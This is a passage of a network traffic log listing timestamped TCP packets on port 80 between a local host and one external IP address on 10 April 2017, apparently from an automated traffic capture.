Apr 10, 2017 10:41:39.253417015 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.253602982 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.253623009 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.253689051 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.253711939 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.254318953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.254336119 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.254416943 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.254435062 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.254920959 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.254936934 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.255002975 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.255019903 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.255381107 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.257380009 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.257395983 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.257404089 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.257472038 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.258534908 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.258620024 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.270998955 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.271747112 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.271770000 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.271779060 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.275437117 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.290627003 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.413829088 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.413836956 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.413841963 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.413989067 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.415911913 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.415935993 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.415946007 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.416322947 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.416532993 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.417460918 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.417483091 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.417596102 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.417624950 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.417910099 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.417927980 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.418083906 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.418104887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.418502092 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.418577909 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.418759108 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.418776989 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419013977 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419030905 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419042110 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419204950 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419220924 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.419223070 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419240952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419262886 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.419454098 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419470072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.419608116 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.419729948 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.419754982 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.420663118 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.420689106 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.421051025 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.421067953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.421137094 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.421159029 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.421669006 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.422897100 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.427100897 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.427123070 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.427130938 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.427275896 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.430691004 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.430713892 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.430721998 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.431086063 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.432284117 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432307005 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432316065 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432539940 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.432562113 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432641029 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432658911 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432900906 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432917118 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.432924032 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433048010 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.433073997 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433202982 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433221102 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433495998 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433515072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433530092 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.433549881 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.433573008 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434043884 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.434068918 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434093952 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434128046 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434262037 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434278965 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434288979 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434479952 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.434501886 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.434827089 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.434946060 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.435904026 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.435928106 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.435936928 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.436038017 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.436115980 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.436132908 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.436144114 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.436587095 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.436614990 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.437097073 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.440252066 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.446069956 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.446094036 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.446414948 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.590327024 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.590357065 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.590365887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.590595961 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.591304064 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.591325998 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.591335058 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.591453075 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.591589928 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.591933012 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.591949940 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592039108 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592039108 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.592053890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592067003 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592092037 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592503071 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.592626095 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592648983 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592660904 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.592933893 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.593214989 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.593238115 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.593247890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.593360901 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.593405962 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.593519926 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.593951941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.593974113 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.594099998 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.594126940 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.594819069 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.594841003 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595129013 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595150948 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595269918 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.595295906 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595720053 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.595726013 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595742941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595756054 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595774889 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595787048 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.595799923 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.596272945 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.596299887 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.596674919 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.596776009 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.597987890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.598268986 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.599682093 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.608175993 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.608198881 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.608207941 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.608386993 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.610838890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.611227036 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.611816883 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.611831903 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.611838102 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.611921072 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.612684011 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.613114119 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.613379955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.613404989 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.613416910 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.613480091 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.614391088 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.614413023 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.614424944 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.614500046 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.615387917 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.615408897 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.615417957 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.615502119 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.616286039 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.616307020 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.616312981 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.616563082 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.616581917 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617031097 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.617136955 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617158890 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617171049 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617450953 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617468119 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617569923 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.617590904 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617979050 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.617995024 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.618045092 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.618057966 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.618422985 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.618446112 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.618784904 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.619043112 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.619060040 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.619071007 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.619149923 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.619167089 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.619390965 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.619910002 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.619931936 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.620013952 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.620031118 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.620512962 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.621627092 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.627396107 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.627415895 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.627434969 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.627563953 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.630902052 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.631052971 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.633076906 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633100033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633111000 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633299112 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.633332968 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633665085 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633682013 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633737087 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.633739948 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633757114 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633764982 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.633784056 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634006977 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634042978 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634159088 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634176016 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634177923 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.634187937 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634210110 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634301901 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634318113 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634681940 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.634706974 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634915113 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634932995 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.634941101 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.635221958 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.635241985 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.635560036 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.635574102 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.635704041 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.635730028 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.635799885 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.636622906 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.636640072 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.636748075 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.636770964 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.637291908 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.640789032 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.648701906 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.648725033 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.648926973 CEST | 49192 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:41:39.759540081 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:41:39.759567022 CEST | 80 | 49192 | 70.40.220.101 | 192.168.1.16 |
